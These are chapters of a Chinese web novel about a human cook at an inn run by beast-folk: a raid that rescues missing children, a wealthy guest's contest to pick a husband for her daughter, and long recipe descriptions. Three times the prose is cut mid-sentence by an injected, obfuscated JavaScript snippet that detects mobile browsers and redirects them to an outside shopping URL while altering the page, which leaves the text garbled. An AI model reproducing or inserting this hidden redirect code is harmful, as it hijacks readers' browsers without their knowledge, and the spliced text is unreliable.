他身量极高，肩宽背阔，将那一身公服撑得挺拔威武。头戴黑色幞头，面容轮廓分明，鼻梁高挺，嘴唇抿成一条坚毅的直线，一双眼睛是温和的浅褐色，此刻却透着不容置疑的威严。最引人注目的是他发间那双棕白相间、时刻保持警觉立起的毛茸茸耳朵，以及身后那条自然垂落、毛茸茸的大尾巴。 穆阳……牧羊犬？ 他大步流星走来，目光如炬，扫过混乱的现场，沉声开口，声音带着一种令人信服的沉稳：“何事喧哗？” 冷笑男恶人先告状，立刻指着碗里的苍蝇添油加醋说了一遍。 穆阳上前一步，仔细查看了那只碗，眉头紧锁。他抬头，目光扫过简菡、青梧和聂松，又看了看周围噤若寒蝉的百姓。 “食品安全，非同小可。”穆阳声音冷峻，大手一挥，“涉事人等，连同这些饭食，一并带回衙门查验！这摊子，也先封了！” “是！”身后官差齐声应道，立刻上前就要拿人。 “大人！冤枉啊！这分明是他们……”简菡急得大叫，正要辩解，嘴巴却突然被身后的青梧一把捂住！ “唔！唔唔！”简菡又惊又怒，拼命挣扎，这死猫拦着她干嘛！ 挣扎间，她的眼角余光猛地瞥见青梧捂住她嘴的那只手的宽大袖口中，似乎藏着一个小小的、透明的琉璃瓶，而瓶子里……赫然装着几只嗡嗡乱撞的苍蝇！ “唔！！！”简菡的眼睛瞬间瞪得溜圆，挣扎得更加剧烈了！ 是他！ 是这死猫搞的鬼？！ 他为什么要陷害她？！ 穆阳似乎扫了一眼他们这边的动静，却像是没看见一般，面无表情地转向千金坊那几人：“你们既是苦主，也一同回衙门协助调查吧。” 不仅如此，穆阳带来的另一队人马，竟直接朝着千金坊大门冲了进去！ 不仅如此，各处出口还都被人把守着，连墙头下和房顶上都有人拉着网，生怕里边人能出来。 “你们干什么！凭什么搜我们千金坊！”冷笑男脸色骤变，厉声阻止。 “为了调查此事是否跟你们有嫌疑。” 穆阳的声音冷淡，但不容置疑。 简菡被青梧半拖半抱地弄上了驴车，嘴还被死死捂着，气得她胸膛剧烈起伏，只能用眼神表达着滔天的愤怒和“你们这群混蛋串通好的”控诉。 驴车吱吱呀呀地启动，却没往县衙方向走，反而在街上兜兜转转绕起了圈子。 就在经过一个街角时，简菡眼尖地瞥见旁边茶楼二楼的窗口，苗澈那张俊美却欠揍的脸正笑眯眯地看着楼下，他身边站着的，正是那个幼崽虎凌岳！ 电光石火间，所有线索在简菡脑海里瞬间串联起来！ 说通了！全都说通了！ 就说天上不会掉馅饼！ 苗澈那死猫怎么会突然好心投资她卖盒饭！ 原来从头到尾，都是在故意坑她！ 他们之间有什么血海深仇，要这样陷害她！ “唔唔唔！！（苗澈你个杀千刀的！）”简菡气得七窍生烟，在青梧怀里拼死挣扎，可惜她那点力气在猫兽人面前根本不够看。 她猛地扭头，用杀人的目光瞪向青梧。青梧唰地一下移开视线，心虚地不敢与她对视，耳朵都耷拉了下来。 另一边，穆阳的手下效率极高，很快就在千金坊后院的水井旁发现了异常。 地砖周围的泥土显得过于新鲜。 动手挖开，底下赫然是一个隐蔽的地牢入口！ “接到线报，尔等坊内或藏有违禁之物，一并搜查！”穆阳亮出提前准备好的一纸公文，官差们立刻行动起来。 地牢里阴暗潮湿，关着的正是那些失踪的幼崽，一个个瘦骨嶙峋、病恹恹的，只有出的气没有进的气，状况极为凄惨。 人赃并获！ 穆阳瞬间有了十足的理由， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588526|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将千金坊所有相关人员一举擒获！ 驴车兜兜转转绕了好几圈，非但没去衙门，反而晃晃悠悠地停在了汪仙楼和衔蝉苑的门口。 嗯？怎么回事？ 简菡一脸懵逼地被青梧松开钳制，拉下了车。 不是去衙门吗？怎么到家了？ 一名官差走上前，递过来一个精致的紫檀木匣子，“这是我家穆阳大人给各位的谢礼，多谢各位全力相助。” 谢礼？全力相助？助你们个大头鬼啊！ 简菡呆滞地拎着那沉甸甸的匣子，脑子还是懵的。 青梧赶紧把聂松的驴车栓好，几乎是半推着把简菡拉进了汪仙楼大堂。看着简菡那快要喷火的眼神，他叹了口气，终于将事情的原委和盘托出。 让简菡去摆摊，一是为了近距离观察，让青梧有机会潜入探查；二是制造常规冲突，今日这出“苍蝇闹剧”，不过是为了找一个合理由头，让穆阳能顺理成章地带人冲进去搜查罢了。 简菡眯着眼睛，手里紧紧攥着那个檀木匣子，恨不得直接把它砸到青梧那张清俊却写满“我是帮凶”的脸上！ 又被算计了！她又双叒叕被这群心眼比蜂窝煤还多的猫给算计了！ 她还真是日日都上当！当当不一样啊！ 她张了张嘴，憋了一肚子的怒火和委屈，却连一句像样的指责都骂不出口。 骂他们逞英雄？还是骂他们不该去救那些可怜的孩子？ 最终，所有愤懑都化作一声长长的、无可奈何的叹息。 她悻悻地打开了那个檀木匣子。 还以为是什么金银珠宝呢！ 结果里面整整齐齐码放的，只是一盒做得极其精致的点心！ 一个个做成含苞待放的百合花形状，酥皮层次分明，表面点缀着烤香的松子仁。 就这？ 差点把她吓出心脏病，就换来一盒点心？！ 简菡气得就想扣上盖子。 “呀！松子百合酥！” 原本在桌子上打盹的雪翎不知何时窜了过来，眼睛瞪得溜圆，“哪来的？！” 她边说，边毫不客气地伸手拿了一颗，小心翼翼地咬了下去，顿时幸福地眯起了眼睛。 同时，她还不忘嚷嚷：“汪屿！墨无咎！有好东西！” 不吃人间烟火的汪屿和墨无咎，竟真的被这香味吸引了出来。 汪屿抽了抽鼻子，直接拿起一个扔进嘴里，嚼了几下，难得地评价了一句：“唔，香！” 墨无咎则比较矜持，只是拈起一块，细细端详，眼中也露出一丝赞赏。 有这么好吃？ 简菡狐疑地看着这几个平日辟谷的兽人，也忍不住拿起一块咬了下去。 酥皮一碰即碎，入口化渣，层层叠叠的油酥香瞬间弥漫开来。内馅是细腻清甜的百合蓉，混合着烤得喷香脆口的松子仁，口感丰富至极。百合的微甜清香恰到好处地中和了酥皮的油润，松子又带来了坚果特有的醇厚香气和咀嚼乐趣。甜而不腻，香酥可口，确实是极品！ “哪来的？哪来的啊？”雪翎一边陶醉地品尝，一边追问，“这可是京城最大最出名的点心铺——月满楼的镇店珍品！原本不算什么顶顶金贵的玩意，可他们那位老店主最近带着独生女，四处搭建台子比武招亲，这招牌点心都停产了！现在市面上存量稀少，听说黑市都炒到一颗十两银子了呢！” 十两银子……一颗？！ 简菡拿着咬了半块的松子百合酥，手僵在了半空。她愣愣地看了一眼匣子里剩下的四颗…… 然后，她缓缓转过头，目光幽幽地看向旁边试图把自己缩进墙角的青梧，从牙缝里挤出几个字：“穆、阳、大、人、赏、的。” 再金贵又如何？ 吃都吃了。 何况这五福镇哪有那么多舍得花十两银子买块点心吃的冤大头啊！ 她恶狠狠地、带着一种泄愤般的心情，啊呜一口，将剩下的半块松子百合酥狠狠咬了下去！ 酥脆香甜，满口生香。 但……心，好痛啊！ 11. 桂花蜜藕 一大清早，天光才刚蒙蒙亮，汪仙楼那扇不算太结实的木门就被人拍得震天响，那动静，活像是衙门来拿人抄家。 “砰砰砰！砰砰砰！” 柜台上，原本团成一团、睡得正香的墨无咎，吓得浑身黑毛炸起，整只猫如同一个被踩了尾巴的毛球，瞬间弹起半尺高！ 他极其不耐地“喵嗷”一声抱怨，轻盈落地，周身玄色光芒微闪，化作人形。 依旧是那身一丝不苟的玄色长袍，只是脸色黑得堪比锅底，头顶那对玄猫耳朵还因受惊而警惕地竖着。 “来了！”他没好气地应了一声，哗啦一下拉开了门闩。 门外，站着一大群人。 为首是一位衣着华贵、头戴抹额、面色严肃的老妇人，身旁跟着一位戴着帷帽、身姿窈窕的姑娘，后头还浩浩荡荡跟着一圈丫鬟仆役，个个屏息凝神，排场不小。 墨无咎懒洋洋地扫了一眼，见不是熟客，更不是送食材的，顿时失了兴趣，连句“客官打尖还是住店”都懒得问，直接转身，打着哈欠就往回走，准备继续他的回笼觉。 门口那老妇人何曾受过这等怠慢？ 当即气得脸色发青，指着墨无咎的背影对身旁的姑娘道：“瞧瞧！这什么破地方！什么服务态度！小门小户就是没素养！我们走！”慢着。” “哎呦喂！贵客临门！贵客临门啊！您几位快里边请！” 雪翎的声音如同及时雨般从后院飘来，只见她一阵风似的卷到门口，脸上堆满了甜笑，一把挽住那老妇人的胳膊，软语温言地将人往店里请，“夫人您消消气，我们这伙计昨晚算账熬得晚了，眼神不好，没瞧清是您几位这般气派的贵人，您大人有大量，千万别跟他一般见识！” 她一边说着，一边悄悄给墨无咎使了个“后院还有个守财奴等着入账呢”的眼色。 汪仙楼仅二楼一层客房，统共不过七八间。 雪翎正发愁这浩浩荡荡一大家子怎么住得下，没想到那群人倒是极有章法，除却老妇人和那位戴帷帽的小姐各住一间上房外，其余的丫鬟仆役竟自觉分成了几人一屋，挤是挤了点，倒也安排下了。 “呦！诸位先歇着，有什么需要尽管吩咐！” 雪翎见安排妥当，招呼了一声，便脚步轻快地下了楼。 ========= 简菡这一觉睡得那叫一个昏天暗地。 日上三竿了，人还没完全清醒，耳朵里就先听见一阵极其有节奏的“咔嚓、咔嚓”声，像是在她枕头边嗑瓜子。 她费力地睁开惺忪睡眼，模糊的视线聚焦。 只见雪翎正翘着二郎腿，优哉游哉地坐在她屋里的圆桌旁，手里捏着一把瓜子，嗑得那叫一个香脆。 “诶呦我的妈呀！” 简菡吓得一个激灵，抱着被子一骨碌就坐了起来。 起得太猛，眼前一阵发黑，金星乱冒，阵阵发晕。 “可算是醒了。”雪翎吐掉嘴里的瓜子皮，拍了拍手，“姐妹儿给你揽了个大活，快感谢我吧！” 大活？ 简菡撑着床沿，忍过那阵头晕，懵懵懂懂地问道：“什、什么情况？” 雪翎便把早上那阵“拍门惊魂”和来客的排场简略说了一遍，重点描述了对方如何气派，如何不差钱。 简菡的眼睛瞬间亮了，困意全无，激动地扑过去就要亲雪翎：“雪翎姐姐！你真是我的财神爷！” “哎哎！没洗漱呢！”雪翎一脸嫌弃地后仰躲开，但手上还抓着那把瓜子，压根没真拦。 简菡嘿嘿傻笑着亲了雪翎脸颊一口，抱起洗脸盆就要往外冲，打算用最快速度梳洗完毕去迎接金主。 “诶！”雪翎一把抓住她的后衣领子，像拎小猫一样把她拽回来，“衣服！”她指了指简菡身上那件皱巴巴的雪白里衣。 “嗷嗷嗷！” 简菡这才反应过来，又风风火火地冲回屋里换衣服。 听雪翎的描述，楼上的客官绝非寻常富户。 简菡特意换上前几日新买的衣裙。 上身是一件藕荷色的窄袖短襦，领口和袖口绣着简单的缠枝花纹；下身配了一条青碧色的高腰齐胸褶裙，裙长及踝，行动方便又不失雅致。 为了干活利索，她将一头长发全都盘成了个圆溜溜的丸子头，用一根银杏叶形状的素银簪子挽住。额上还系了一条鹅黄色的抹额，既能吸汗，又添了几分干练精神。 临近午时，楼上那帮贵客依旧没什么动静，也没下来点菜。 简菡在楼下大堂翘首以盼，脖子都快伸成长颈鹿了。 不一会儿，送果盘的雪翎端着个空托盘从楼上下来，脸上带着压抑不住的兴奋，还带来了一个劲爆消息。 “你们猜那戴帷帽的小姐是谁？” 雪翎的话一出，简菡十分配合地摇摇头。 “正是京城月满楼那个，正四处比武招亲的千金小姐！” 啊？！ 店里众人顿时一阵唏嘘。 连柜台后面瘫着脸算账的墨无咎，拨算盘的手都顿了一下，猫耳朵几不可察地抖了抖。 几人正想继续深入八卦，楼梯上忽然传来了脚步声。 一个女子缓步而下。 她穿着鹅黄色的窄袖襦裙，外罩一件半透明的纱质半臂，打扮与其他丫鬟类似，但细节更精致。最引人注目的是她发间那双不断轻微颤动的、金棕色的透明薄翅。 她步履轻盈，但姿态十分傲慢。站在楼梯中段，目光扫过大堂，还带着一种居高临下的审视。 “你家厨子可会做甜口的吃食？” 那丫鬟可谓是拿着鼻孔看人，声音清脆却透着一股子不耐烦。 简菡心里翻了个大大的白眼，但看在钱的份上，还是乖乖上前一步，点了点头：“会的。” 唰！ 一个沉甸甸的、绣工精致的荷包被那丫鬟随手扔了下来，正好落在简菡怀里。 “做得精细些，别拿粗劣东西糊弄。” 那丫鬟丢下这句话，压根不给简菡询问口味偏好的机会，径直转身上了楼。 切！ 雪翎率先表示不屑。 她夺过简菡怀里的荷包，正想再讽刺几句“有几个臭钱了不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588527|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊”，可当她拉开抽绳，往里一瞧，瞬间没了声音。 是金子！ 雪翎捻起一颗，用牙咬了一下。 真金！真金啊！ 这下，简菡彻底没了半点不满。 她一把将荷包抢回来，还不忘雪翎手里的那块。荷包被她紧紧捂在怀里，乐得嘴角都快咧到后脑勺了！ 发达了！ 真的发达了！ 她呲着一口小白牙，抱着金子就要往厨房冲。 眼前猛地一花，一道黑影闪过，汪屿如同瞬移般突然出现在她面前，挡住了去路。 “干嘛！” 简菡立刻抱紧胳膊，警惕地瞪着这位狼掌柜，生怕他来抢金子。 “我是掌柜。” 汪屿言简意赅，一句话，就让简菡瞬间破防。 对啊，卖身契还在人家手里捏着呢！ “那……那你把我的卖身契拿来！” 简菡眼珠一转，赶紧提出要求。 这些金子不仅足够抵消她之前欠的债，还能额外换来一些报酬呢！ 墨无咎噼里啪啦拨了一通算盘，简菡终于如愿以偿，换回了自由身，卖身契还换成了和雪翎他们一样的“劳动合同”。 她揣着新合约，感觉浑身充满了干劲，开开心心地冲进了后院厨房。 拿人钱财，自要替人消灾！ 更何况是这么阔绰的金主！ 做什么好呢？简菡琢磨着。 甜口的，还要精细……她脑海里忽然浮现出刚才那丫鬟发间颤动的透明翅膀…… 像是……蜜蜂？ 有了！ 桂花蜜藕！ 这道点心精致婉约，香甜糯口，正合适！ 她将糯米浸泡在水里，随后取来几节粗壮圆润的莲藕，刮去外皮，露出白玉般的藕肉。 简菡将莲藕一节节切开，用竹签细心剔除藕心的杂质。在藕的一头切下一小片作为盖子，然后将浸泡好的糯米，用筷子一点点、仔细地塞进每一个藕孔里，这个过程极需耐心，必须塞得结实饱满，直到所有藕孔都被糯米填满。再将切下的小片用牙签重新固定封口。 大锅里放入清水，将塞满糯米的藕节放入，再加入红枣、冰糖、红糖一同熬煮。先是大火煮沸，继而转为小火慢煨，让甜味和枣香一点点渗透进藕的每一个细胞。 煮了近一个时辰，锅里的糖水已经变得浓稠深红，藕节也变得软糯红亮。将藕节捞出，稍稍放凉后，切成厚薄均匀的片状，整齐地码放在白瓷盘中。 最后，舀起锅中浓稠的糖汁，细细地淋在每一片藕上，再撒上一小把糖桂花。那金黄的桂花点缀在深红油亮的藕片间，犹如点点繁星，煞是好看。桂花特有的甜香与藕枣的醇香、糖汁的蜜香交融在一起，形成一种温暖而诱人的气息。 藕片软糯拉丝，糯米香甜弹牙，混合着红枣的甘醇和桂花的芬芳，甜而不腻，糯而不粘，每一口都是极大的满足。 简菡小心翼翼地将这盘精致诱人的桂花蜜藕放入食盒，心里美滋滋地想：这分量，这成色，应该对得起那包金子了吧？ 12. 酸梅汤 甘琴，也就是被雪翎殷勤请进来的华贵老妇人，用银箸夹起一片桂花蜜藕，对着光仔细端详。 藕片切得厚薄均匀，呈现出一种诱人的、深邃的琥珀红色，几乎能透光。糯米从藕孔中饱满地溢出，晶莹剔透，紧紧依偎着软糯的藕肉。糖汁被熬得浓稠亮泽，如同上好的琉璃，均匀地包裹住每一片藕，最后撒上的那点金黄色的糖桂花，更是点睛之笔，仿佛将秋日的芬芳都凝在了这一盘之中。 她缓缓送入口中，牙齿轻轻一咬。 藕片竟是意想不到的软糯绵柔，毫不费劲便已分离，带着一种温润的甜意。孔中的糯米早已被煨得极致软烂，几乎要与藕肉融为一体，却又还保留着一丝弹牙的米香。红糖和红枣熬出的糖汁，甜得醇厚而不腻，带着一种独特的焦香风味，而糖桂花那清新冷冽的甜香适时介入，巧妙地化解了所有的黏腻感，只留下满口悠长的芬芳。 “唔……” 坐在她对面的甘芮，便是那位戴着帷帽、身姿窈窕的姑娘，也尝了一口，那双酷似蜜蜂的翅膀头饰愉悦地高速振动起来，发出极轻微的嗡嗡声。 “娘，这藕……火候恰到好处，甜得也讲究。” “还行。”甘琴面上依旧没什么表情，只是微微颔首，但手下银箸的速度明显快了几分。 想不到这穷乡僻壤、看起来破旧不堪的小客栈，厨子竟有这般细致手艺，倒是意外之喜。 到了傍晚，简菡更是十二分的上道。 她估摸着那几位贵人吃甜点可能腻味，便又精心准备了几样口味各异、南北结合的菜色送上楼。 还微微冒着热气的菜肴被端上桌。 最引人注目的当属那盘堆叠如小山的炸物。炸得金黄酥脆的里脊肉片边缘微微卷起，每一片都均匀地裹着橙红透亮、晶莹欲滴的芡汁。一股霸道的醋酸香气率先冲入鼻腔，虽有些呛人，却更添食欲。 紧接着上桌的是一道金光闪闪的甜品。炸透的地瓜块裹着晶莹的糖浆，在灯光下闪烁着蜜色的光泽。用筷子轻轻一夹，立即拉出细长晶莹的糖丝，能绕筷子好几圈。 相比之下，第三道菜显得格外质朴温暖。选取最粉糯的老南瓜，蒸得烂熟，盛在素白瓷盘中，不施粉黛，却散发着食物最本真的清甜香气。用勺子轻轻一压，瓜肉便化作细腻绵密的瓜泥，入口即化，甘甜温润。 最后呈上的是一碗配色清新靓丽的小食。蒸熟捣泥的山药口感细腻滑润，浇上熬制得浓稠适中的蓝莓果酱，深邃的紫色与雪白的山药泥交相辉映。一勺舀下，山药的清淡微甜恰到好处地中和了蓝莓酱的明媚果酸，清新爽口，正是解腻的佳品。 甘琴看着这几道卖相极佳、香气扑鼻的菜，眼中闪过一丝不易察觉的鄙夷，以为这小厨娘是变着法子又来讨赏钱的。 谁知简菡只是规规矩矩地将菜品摆好，行了个礼，脆生生道：“几位客官请慢用，若有什么不合口味的地方，请随时吩咐。” 说完，她便干脆利落地退了出去，半句多余的话都没有。 甘琴倒是有些意外了，看着那关上的房门，又瞥了一眼桌上色香味俱全的菜肴，终是没忍住，率先朝那盘色泽最是金黄诱人的锅包肉伸出了筷子。 肉片入口的瞬间，先是感受到外层芡汁的酸甜可口，随即是内里肉质的酥嫩多汁，恰到好处的火候让肉片既保持了水分，又有着酥脆的口感，让她不禁微微颔首。 夹起一块拔丝地瓜，晶莹的糖丝在空中拉出细长的弧线。轻轻咬下，外层糖衣发出清脆的碎裂声，内里的地瓜却软糯得恰到好处，温热绵密的口感与焦糖的香甜在口中交融，让她不由自主地又夹了一块。 南瓜肉早已蒸得软烂，用勺子轻轻一压便化作细腻的瓜泥。入口即化的口感中带着南瓜最本真的清甜，质朴却温暖，恰到好处地缓解了前两道菜的浓郁滋味。 雪白的山药泥细腻滑润，顶上浇着的蓝莓酱呈现出深邃的紫色。一勺入口，冰凉细腻的山药泥瞬间化开，蓝莓的酸甜恰到好处地中和了山药的清淡，清新爽口的感觉让她忍不住又多用了几勺。 四道菜品尝下来，甘琴原本带着几分挑剔的神情早已缓和。 每一道菜都展现了精湛的火候掌控力和对食材的深刻理解，酸甜浓淡把握得恰到好处，既彰显了特色，又不会互相冲突。 ========= 隔天，简菡正睡得昏天暗地，梦里数金子数得手抽筋，忽然被一阵震耳欲聋的敲锣打鼓声惊醒！ “咚咚锵！咚咚锵！” 什么情况？ 土匪进镇了还是过年了？ 她迷迷糊糊地穿好衣服，循声出门。 刚走到客栈门口，她就被眼前的景象惊呆了！ 汪仙楼门外，已是人山人海，水泄不通！ 一个宽敞结实、铺着红毯的擂台已经搭起，上面拉着横幅，写着“月满楼比武招亲”六个大字。 擂台一侧，甘琴夫人雍容华贵地坐在一把巨大的遮阳伞下，身后站着丫鬟仆役。而擂台中央，站着一位一身劲装的少女，正是甘芮！ 她今日未戴帷帽，露出一张明媚中带着英气的脸庞。 上身是绯红色的圆领窄袖袍，以金银线绣着繁复的缠枝牡丹纹样，腰束一条黑色革带，紧紧勒出不盈一握的腰身，更显利落挺拔；下身穿的则是一条同色的缚裤，裤脚扎在黑色的鹿皮短靴中。 一头乌发高高束成马尾，以金环固定，发间那对晶莹剔透的蜜蜂翅膀随着她的动作微微颤动，在阳光下折射出炫目的光彩。整个人看起来既娇俏明媚，又英姿飒爽，气场十足！ 擂台两侧，还有两头神采奕奕、活灵活现的舞狮，随着密集的鼓点，时而腾挪跳跃，时而摇头摆尾，引得围观群众阵阵喝彩，好不热闹！ 简菡赶紧挤到门口，一把抱住正在看热闹的雪翎的胳膊，看得津津有味。 她还发现擂台边上居然还有几个背着药箱的医师严阵以待，不禁啧啧感叹：“不愧是京城来的大户人家，安全保障做得真到位。” 这样热闹的场面，自然吸引了整条街的注意。 对面衔蝉苑的门口，苗澈和青梧也带着一群看热闹的猫猫伙计，倚在门边朝这边张望。 简菡一眼瞥见那俩“算计”过她的猫，顿时气不打一处来，狠狠瞪了他们一眼，便高傲地一甩头，目不斜视，专心看擂台，仿佛那边只是两团空气。 苗澈接收到她的眼刀，非但不恼，反而觉得有趣，嘴角勾起一抹玩味的笑。 “月满楼的上门女婿”这个名头实在太过响亮诱人，足以让许多想要一步登天或者自恃武艺的人铤而走险。 辰时中，比武招亲准时开始。 锣声一响，立刻有一条身材魁梧如铁塔般的黑熊兽人跳上擂台，吼声震天，蒲扇般的熊掌带着风声就朝看似娇小的甘芮拍去！ 台下观众发出一阵惊呼。 却见甘芮不闪不避，蜂鸟翅膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588528|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高速振动，身形快得只剩下一道绯红色的残影，轻松避开熊掌，同时一记巧妙的扫堂腿攻其下盘。 那黑熊兽人下盘不稳，轰隆一声，竟被直接掀翻在地，砸得擂台都晃了三晃！ 台下观众都被这场面惊呆了！ 片刻后，才爆发出山呼海啸般的喝彩声。 接着上场的是一位肌肉虬结的犀牛兽人，皮糙肉厚，低着头，以鼻尖锋利的犀角猛冲过来，势不可挡！ 甘芮却如穿花蝴蝶般轻盈跃起，足尖在那犀角上轻轻一点，借力翻身落到其身后，手刀精准地劈在其后颈薄弱处。那犀牛兽人闷哼一声，眼前一黑，庞大的身躯推金山倒玉柱般瘫软下去。 台下顿时一片哗然，紧接着爆发出雷鸣般的喝彩声。 又接连上了几位。 身手敏捷的豹兽人、力大无穷的野猪兽人…… 竟无一人能在甘芮手下走过十招！ 她那看似纤细的身躯里爆发出惊人的力量和速度，招式刁钻精准，充分利用了蜂鸟兽人天生的敏捷和动态视觉，总能在电光石火间找到对手的破绽，一击制胜！ 简菡在台下看得啧啧称奇，瓜子嗑得飞起，嘴巴就没停过。 看着看着，她忽然觉得口干舌燥，瓜子吃多了咸得慌。 她正想挤回店里喝口水，脑海中猛地闪过一个念头，如同黑夜中的一道闪电！ 她眼睛唰地亮了，立刻拉过坐在附近阴凉处休息、月满楼负责舞狮的小厮，低声问了一句：“小哥，打听一下，这台子要摆到什么时候？” 小厮抹了把汗，朝台上扫了一眼，答道：摆一天呢！午休完，下午未时继续！” 简菡一听，乐得差点蹦起来！ 她一把拉住还在看比赛的雪翎，激动道：“雪翎姐！别看了！赚钱要紧！快跟我来！” “啊？干嘛去？”雪翎一脸懵。 简菡眼睛亮得吓人，拖着她就往后院跑，“聂松呢？快用传音符叫他来！他的小驴车和炒货摊又要派上大用场了！” 等下午日头最毒辣的时候过去，比武再次开始时，汪仙楼门口就多了一个小小的临时摊子。 聂松的小驴车被征用，车上放着两个用厚棉被包裹得严严实实的大木桶，里面是简菡紧急熬煮、并用水井镇得冰凉沁人的酸梅汤。木桶旁还摆着聂松的各种炒货坚果。 “卖酸梅汤咯！冰镇酸梅汤！解渴消暑，看比赛必备咯！” 简菡清脆的吆喝声响起。 那乌黑透亮的酸梅汤，盛在粗瓷碗里，冒着丝丝凉气，光是看着就让人觉得暑热顿消。 喝上一口，酸甜冰凉的汤汁瞬间滑过喉咙，乌梅的烟熏味、山楂的酸爽、甘草的回甘、冰糖的清甜完美融合，生津止渴，瞬间驱散所有燥热。 再抓上一把聂松炒得香脆无比的椒盐花生或五香瓜子，一边看紧张刺激的比武，一边喝酸梅汤嗑瓜子，简直是神仙般的享受！ 这摊子一摆出来，生意简直火爆到不行！ 刚刚看完上午比赛、又晒又渴的观众们纷纷涌来，铜钱如同下雨般扔进钱匣子里。 聂松乐得合不拢嘴，炒货卖得飞快。 对面衔蝉苑门口，苗澈摇着折扇，注意到简菡这边热火朝天的景象，先是微微一怔，随即忍不住低低地笑了起来，摇了摇头，古铜色的猫眼里满是促狭和一丝不易察觉的赞赏。 “这丫头……还真是个一刻都不忘捞钱的小财迷。” 13. 卤菜 第一日的比武招亲，结果毫不意外，甚至可以说是有些凄惨。 甘芮大获全胜，愣是没招到一个能打的夫婿。台下倒是躺了一地鼻青脸肿、哼哼唧唧的各路好汉。 傍晚时分，那比武台子还原样留着，预备第二天再战。但月满楼那帮人的精气神可就完全不一样了，一个个垂头丧气，活像是霜打的茄子。尤其是甘琴夫人，那张严肃的脸拉得老长，看着自家闺女的眼神是又骄傲又发愁。 简菡在后院灶房瞅见了，心里琢磨了一下，便动手和了些面，又将蒸熟碾成泥的紫薯混了少许牛乳和蜂蜜，包成一个个小巧可爱的饼坯，用模具压出花瓣形状，再少油慢煎至两面金黄酥脆。 紫薯小饼做得极为精巧。 外皮酥香，内馅是温润甜糯的紫薯泥，带着淡淡的奶香和蜜味，既不腻人，又透着暖心暖胃的妥帖。 她怕误会，特意让雪翎送了上去，只说是店里的一点心意。 甘琴夫人看着那碟精致可爱、香气扑鼻的小点，紧绷的脸色总算缓和了些许，算是承了这份情。 简菡可没闲着。 今日摆摊卖酸梅汤和坚果的火爆场面让她彻底瞧见了商机。 想着这比武招亲的热闹赚不来几天，她大晚上都舍不得歇，点着油灯，在后院忙得脚不沾地。 她刚炒完明天要卖的最后一锅椒盐花生，又开始哗啦啦地打水，洗刷一大堆五花肉、猪头、猪大肠、整鸡整鸭，还有各式豆干、莲藕、海带结。 正洗刷得起劲，忽听头顶传来一声轻盈的落地的声音。 她一抬头，就见甘芮正站在不远处，那双漂亮的蜜蜂翅膀在月光下泛着微光，好奇地看着她和她面前那一大盆生肉。 “你这是在做什么？” 甘芮的声音清脆，带着一丝不解。大晚上的，洗这些血淋淋的东西？ “做卤味。”简菡老实回答，手下没停，继续用力搓洗着猪大肠，“明天拿去卖。” 说完，就又埋头苦干起来。 甘芮原本因比武而有些躁动的心，看着简菡在月光下忙碌却异常专注沉稳的身影，竟奇异地安静了下来。 她没离开，反而走到井边，寻了块干净石头坐下，托着腮看简菡忙活。 “你为什么要洗这个啊?”她看着简菡反复揉搓那些看起来颇有些碍眼的猪下水，忍不住又问。 简菡抬起头，就着月光对她笑了一下，额上的汗珠亮晶晶的：“想多赚些钱呀。” “需要这么多钱做什么？”甘芮更不解了，以她月满楼大小姐的身份，实在很难理解这种锱铢必较的营生。 她家随便一盒点心，都够这客栈挣上许久了。 简菡脸上的笑意更深了些，却带着点甘芮看不懂的无奈和坦然：“我是人，跟你们不同的。我没有灵力，衣食住行都要亲力亲为。没有钱，我就买不了漂亮衣服，也吃不上饭。人不吃饭，是会饿死的。” 她顿了顿，声音很轻却异常清晰，“我不想死。” 甘芮怔了怔，随即认真地点了点头。这话说得直白又实在，她竟无法反驳。 恰在这时，简菡终于洗完了所有原料，直起腰，准备将那个沉甸甸的大木盆搬进厨房。 甘芮见状，手指微不可察地一动，一个小巧的清风诀便托住了盆底。 简菡只觉得手下一轻，那大盆竟自己稳稳当当地飘起来，朝着厨房门口移去。 她惊讶地眨了眨眼，反应过来是甘芮帮了忙，忍不住扶着自己酸软的后腰，由衷地道了句：“谢谢啊！” 甘芮对眼前这个为了“不想死”而拼命赚钱的人类小厨娘生出了几分好奇，便也跟着她进了厨房。 接下来，甘芮就目睹了一场美食的“施法现场”。 简菡先将整鸡整鸭焯水，然后放入油锅，炸至表皮金黄酥脆，锁住肉汁。另起一个巨大的深口陶锅，倒入清水，放入早就备好的卤料包——里头是花椒、八角、桂皮、香叶、豆蔻、丁香、干辣椒等十几种香料，再加入大量的酱油、黄酒、冰糖、盐和少许炒熟的糖色。 大火烧开，浓郁复合的卤香瞬间爆发出来，霸道地占领了整个厨房，甚至飘出了窗外。 